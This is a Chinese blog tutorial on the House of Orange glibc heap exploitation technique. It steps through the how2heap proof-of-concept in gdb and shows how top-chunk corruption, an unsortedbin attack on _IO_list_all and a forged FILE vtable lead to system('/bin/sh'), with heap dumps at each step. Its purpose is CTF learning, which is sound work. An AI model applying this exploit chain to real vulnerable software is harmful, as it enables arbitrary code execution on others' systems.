借助gdb调试glibc代码学习House of Orange

1.准备工作

学习了CTF比赛中的一种堆利用方法—house of orange,看了很多师傅们的博客和一些国外网站,现在总算理清了一些利用原理。


house of orange攻击的主要思路是利用unsortedbin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流。


为了更加深入地理解,很有必要gdb调试glibc中的malloc.c代码。以我的环境为例,在调试glibc代码前需要安装:

1. Ubuntu 16.04 x64

2. gdb。我个人使用pwndbg,您也可以使用其他,如gdb-peda。

3. 源代码和调试符号。借助于调试符号,逆向工程师就能调试任何感兴趣的内容了。

sudo apt-get install glibc-source

sudo apt-get install libc6-dbg

sudo tar xf /usr/src/glibc/glibc-2.23.tar.xz

在gdb提示符下输入以下内容:

pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/

pwndbg> b _int_malloc


上面的gdb命令会在您单步执行时显示被调试函数的源代码。


实际上,在glibc中没有malloc(),只能找到__libc_malloc()和_int_malloc(),而_int_malloc()才是内存分配的函数。__libc_malloc()仅对_int_malloc()进行简单封装。本文贴出的大部分代码都是从_int_malloc()中截取的。


下面以https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c

中的代码为例说明house of orange的原理。

精简掉注释和相关说明后,程序主体如下所示

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int winner ( char *ptr);

int main()

{

    char *p1, *p2;

    size_t io_list_all, *top;


    p1 = malloc(0x400-16);


    top = (size_t *) ( (char*) p1 + 0x400 - 16);

    top[1] = 0xc01;


    p2 = malloc(0x1000);


    io_list_all = top[2] +0x9a8;


    top[3] = io_list_all -0x10;


    memcpy( ( char *) top,"/bin/sh\x00", 8);


    top[1] = 0x61;


    _IO_FILE *fp = (_IO_FILE*) top;


    fp->_mode = 0; //top+0xc0


    fp->_IO_write_base =(char *) 2; // top+0x20

    fp->_IO_write_ptr =(char *) 3; // top+0x28


    size_t *jump_table =&top[12]; // controlled memory

    jump_table[3] = (size_t)&winner;

    *(size_t *) ((size_t) fp +sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger thewhole chain by calling malloc */

    malloc(10);

    return 0;

}


int winner(char *ptr)

{

    system(ptr);

    return 0;

}

编译调试

gcc house_of_orange.c –g –o house_of_orange

gdb ./house_of_orange

2.调试过程及原理说明

首先从堆中分配一个chunk

p1 = malloc(0x400-16);

pwndbg> heap

0x602000PREV_INUSE {

 prev_size = 0x0,

  size = 0x401,

  fd= 0x0,

  bk= 0x0,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

 prev_size = 0x0,

 size = 0x20c01,

  fd= 0x0,

  bk= 0x0,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}

pwndbg> p p1

$2 = 0x602010 ""

 

2.1 泄露libc基址

考虑这么一种情况,假设在malloc时,程序中的bins里都没有合适的chunk,同时top chunk的大小已经不够用来分配这块内存。那么此时程序将会调用sysmalloc来向系统申请更多的空间。我们的目的在于用sysmalloc()中_int_free()获得一块释放的堆块。

对于堆来说有两种拓展方式:一是通过改变brk来拓展堆,二是通过mmap方式。其中只有brk拓展才会调用到_int_free()将老的top chunk释放掉,所以还需要满足一些条件。

由上述代码可知,要想使用brk拓展,需要满足chunk size < 0x20000

同时,在使用brk拓展之前还有一系列check

这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的,一般内存也大小为4kb(0x1000),那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。

整理以上代码,所需条件有:

分配的chunk大小小于0x20000,大于top chunk的size

top chunk大小大于MINSIZE

top chunk的inuse等于1

top chunk的大小要对齐到内存页

满足了以上各种条件,就可以成功调用_int_free()来释放top chunk

此后,原先的top chunk将被放入unsorted bin中。

下一次分配时,就将会从unsorted bin中切割合适的大小,而切割下来的chunk的fd和bk的值将会是libc中的地址了。同时,若该chunk是large chunk,在fd_nextsize和bk_nextsize中还会储存堆中的地址,由此便可以完成信息泄露了。

利用代码

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01;  //将top chunk的大小改为0xc01

p2 = malloc(0x1000);

执行上面3句,将原先的top chunk 0x602400放入到unsortedbin中。其中,0x602400+0xC00= 0x603000,它与0x1000是对齐的。


调试过程如下:

top = (size_t *) ( (char *) p1 + 0x400 - 16);

pwndbg> p top

$1 = (size_t *) 0x602400

top[1] = 0xc01;

pwndbg> heap

0x602000 PREV_INUSE {

 prev_size = 0x0,

 size = 0x401,

  fd= 0x0,

  bk= 0x0,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

 prev_size = 0x0,

  size = 0xc01,

  fd= 0x0,

  bk= 0x0,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}

0x603000 {

 prev_size = 0x0,

 size = 0x0,

  fd= 0x0,

  bk= 0x0,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}

p2 = malloc(0x1000);

pwndbg> p p2

$3 = 0x623010 ""


pwndbg> bins

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂—0x602400

smallbins

empty

largebins

empty

2.2 劫持流程

接下来会涉及到IO_FILE的利用,这种方法被称为FSOP(File Stream Oriented Programming)。

每个FILE结构都通过一个_IO_FILE_plus结构体定义

其中包括一个_IO_FILE结构体和一个vtable虚表指针。_IO_FILE结构体保存了FILE的各种信息。vtable(虚表)指针指向了一系列函数指针。

_IO_FILE结构定义如下:

整个结构不用完全掌握,大概了解就行。

在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain;连接在一起形成一个链表,其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示,通过_IO_list_all就可以遍历所有_IO_FILE结构。

_IO_jump_t *vtable结构定义如下,里面保存了一系列的函数指针。

以上,主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及_IO_list_all指针的关系和及其内容。下面的图能较好地说明它们之间的关系。

2.3 unsortedbin attack

根据house of orange的流程,将利用unsortedbin attack来修改_IO_list_all指针的数值。

unsortedbin attack是怎么一回事呢,其实就是在malloc的过程中,unsortedbin会从链表上卸下来(只要分配的大小不是fastchunk大小)

在从unsorted bin中取出chunk时,会执行以下代码

这里将最后一个chunk取出,并把倒数第二个chunk的fd设置为unsorted_chunks(av),这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。

可以发现,如果我们将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入&main_arena+88。

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

执行上面2句,相当于我们将unsortedbin中的chunk的bk改写成_IO_list_all - 0x10,这样当从unsorted bin中取出它时就可以成功将_IO_list_all改写为&main_arena+88

2.4 FSOP

在此之前,我们先了解一下malloc对错误信息的处理过程.

1) 在malloc出错时,会调用malloc_printerr函数来输出错误信息

2) malloc_printerr又会调用__libc_message

3) __libc_message又调用abort

4) abort则又调用了_IO_flush_all_lockp

5) 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

所以如果可以控制_IO_list_all的数值,同时伪造一个_IO_FILE和vtable并放入FILE链表中,就可以让上述流程进入我们伪造的vtable,并调用被修改为system的_IO_OVERFLOW函数。

但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍

观察代码发现,_IO_OVERFLOW存在于if之中,根据短路原理,若要执行到_IO_OVERFLOW,就需要让前面的判断都能满足,即:

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者

_IO_vtable_offset (fp) == 0

&& fp->_mode > 0

&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上两个条件至少要满足一个,这里我们将选择第一个,只需要构造mode、_IO_write_ptr和_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据,所以比较容易实现。

在前面介绍的unsortedbin attack可以将_IO_list_all指针的值修改为&main_arena+88。

但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。

所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后,可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE。

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。

巧妙的是,_IO_FILE结构中的chain字段对应偏移是0x68,而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而这个地址的刚好是我们可以控制的。


smallbins在main_arena中的位置:

下面截图说明:

(main_arena+88)+0x20为smallbin 0x20的fd,(main_arena+88)+0x28为smallbin 0x20的bk

… …

(main_arena+88)+0x60为smallbin 0x60的fd,(main_arena+88)+0x68为smallbin 0x60的bk

我们如果通过溢出,将位于unsorted bin中的chunk的size修改为0x61。(注:现在unsorted bin中的chunk就是之前被释放的top chunk的一部分)

那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环,把unsorted bin中的chunk放回到对应的small bin或large bin中。

因此,我们将位于unsorted bin中的chunk的size修改为0x61,因此该chunk就会被放入大小为0x60的small bin中,同时,该small bin的fd和bk都会变为此chunk的地址。

这样,当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。

只要在这个chunk中伪造好_IO_FILE结构体以及vtable,把_IO_OVERFLOW设置为system,然后就可以成功getshell了。

利用代码

memcpy( ( char *) top, "/bin/sh\x00", 8);      //传输system()函数所需的/bin/sh

top[1] = 0x61;      //为了将chunk放到smallbins[0x60]中

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;// top+0xd8

/* Finally, trigger the whole chain by calling malloc */

malloc(10);


调试过程

pwndbg> x &_IO_list_all

0x7ffff7dd2520 <_IO_list_all>:         0xf7dd2540

pwndbg> x &main_arena

0x7ffff7dd1b20 :       0x00000000


io_list_all = top[2] + 0x9a8;  

pwndbg> p io_list_all

$6 = 140737351853344     //0x7FFFF7DD2520


top[3] = io_list_all - 0x10;

0x602400 PREV_INUSE {

 prev_size = 0x0,

 size = 0xbe1,

  fd= 0x7ffff7dd1b78,

  bk = 0x7ffff7dd2510,

 fd_nextsize = 0x0,

 bk_nextsize = 0x0,

}


memcpy( ( char *) top, "/bin/sh\x00", 8);

pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000be1

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000000     0x0000000000000000

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000


通过在_IO_list_all设置硬件断点(wa *0x7ffff7dd2520),通过gdb调试glibc代码,发现执行完bck->fd=unsorted_chunks(av)后,_IO_list_all所指的数值改成了main_arena+88

top[1] = 0x61;  

将这个chunk放入smallbin 0x60,所以将size位设置为0x61。同时,small bin[0x60]的fd和bk都会变为此chunk的地址

 pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000000     0x0000000000000000

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000


gdb调试glibc代码,设置断点b _int_malloc,发现执行完下列语句后,将地址为0x602400的chunk放入smallbins[0x60]

由于之前unsortedbin attack来将_IO_list_all指针的值修改为&main_arena+88。

这样,当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

pwndbg> x/50gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

0x6024a0:        0x0000000000000000     0x0000000000000000

0x6024b0:        0x0000000000000000     0x0000000000000000

0x6024c0:         0x0000000000000000     0x0000000000000000

size_t *jump_table = &top[12]; // controlled memory

pwndbg> p jump_table

$7 = (size_t *) 0x602460

jump_table[3] = (size_t) &winner;

pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x000000000040078f

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000


*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;  // top+0xd8

pwndbg> x/50gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x000000000040078f

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

0x6024a0:        0x0000000000000000     0x0000000000000000

0x6024b0:        0x0000000000000000     0x0000000000000000

0x6024c0:         0x0000000000000000     0x0000000000000000

0x6024d0:        0x0000000000000000     0x0000000000602460


pwndbg> p (*(struct _IO_FILE_plus *)0x602400)

$4 = {

 file = {

   _flags = 1852400175,

    _IO_read_ptr= 0x61 ,

   _IO_read_end = 0x7ffff7dd1b78 "\020@b",

   _IO_read_base = 0x7ffff7dd2510 "",

   _IO_write_base = 0x2 ,

   _IO_write_ptr = 0x3 ,

   _IO_write_end = 0x0,

   _IO_buf_base = 0x0,

   _IO_buf_end = 0x0,

   _IO_save_base = 0x0,

   _IO_backup_base = 0x0,

   _IO_save_end = 0x0,

   _markers = 0x0,

   _chain = 0x0,

   _fileno = 0,

   _flags2 = 0,

   _old_offset = 4196239,

   _cur_column = 0,

   _vtable_offset = 0 '\000',

   _shortbuf = "",

   _lock = 0x0,

   _offset = 0,

   _codecvt = 0x0,

   _wide_data = 0x0,

   _freeres_list = 0x0,

   _freeres_buf = 0x0,

   __pad5 = 0,

   _mode = 0,

   _unused2 = '\000'

  },

  vtable = 0x602460

}


pwndbg> p (*(struct _IO_jump_t *)0x602460)

$5 = {

 __dummy = 0,

 __dummy2 = 0,

 __finish = 0x0,

  __overflow = 0x40078f ,

 __underflow = 0x0,

 __uflow = 0x0,

 __pbackfail = 0x0,

 __xsputn = 0x0,

 __xsgetn = 0x0,

 __seekoff = 0x0,

 __seekpos = 0x0,

 __setbuf = 0x0,

 __sync = 0x0,

 __doallocate = 0x0,

 __read = 0x0,

 __write = 0x602460,

 __seek = 0x0,

 __close = 0x0,

 __stat = 0x0,

 __showmanyc = 0x0,

 __imbue = 0x0

}

因为unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被我们劫持流程,执行到winner,然后由winner执行system函数。

3. 总结

之前看了很多house of orange的介绍,总不得要领。通过gdb调试glibc的malloc.c后,才知道unsortedbin attack,FSOP的操作都是在最后执行malloc(10)的时候完成的

完整地跟踪一遍_int_malloc()函数就清楚了:当调用malloc(10)时,首先将unsortedbin中的chunk摘下来,从而导致_IO_list_all修改为main_arena+88

之后将摘下来的chunk放到smallbin[0x60]中

最后,由于unsortedbin attack破坏了unsorted bin的链表结构。此时,victim= (mchunkptr) 0x7ffff7dd2510,victim->size=0,满足__builtin_expect(victim->size <= 2 * SIZE_SZ, 0),所以在大循环中系统调用malloc_printerr去打印错误信息。

从而被我们劫持流程,执行到winner,然后由winner执行system函数。

而下面的这些语句仅仅是为漏洞利用提供子弹而已

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;// top+0xd8

malloc(10);才会最终执行malloc中的攻击链,类似于化学反应中的催化剂。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容

  • 今天学习了下house_of_orange,总算是把house_of_orange给搞懂了house_of_ora...
    zs0zrc阅读 3,457评论 0 1
  • 我与她的初次相遇是在初二吧,那年在隔壁镇初中成绩奇差的我被老爸满心失望的调回了位于我家隔壁初中,进的班级是初二1班...
    野空无阅读 456评论 2 3
  • 金黄色的你, 高高地挂在天上, 时而调皮, 时而任性, 云朵是你的外衣, 风儿是你的信使, 黑暗掩盖不了, 你的光...
    火炎众阅读 153评论 0 1
  • 在这篇文章,你将快速学习到: 如何安装 Vue.js 基础Hello WorldVue 实例模版语法 & 数据绑定...
    一俢阅读 473评论 1 7
  • 看着自己QQ音乐里的歌单,没一首都有一个故事,翻着翻着眼睛涩了。。。大概这就是时光的记忆吧
    花开彼岸情守一端阅读 165评论 0 0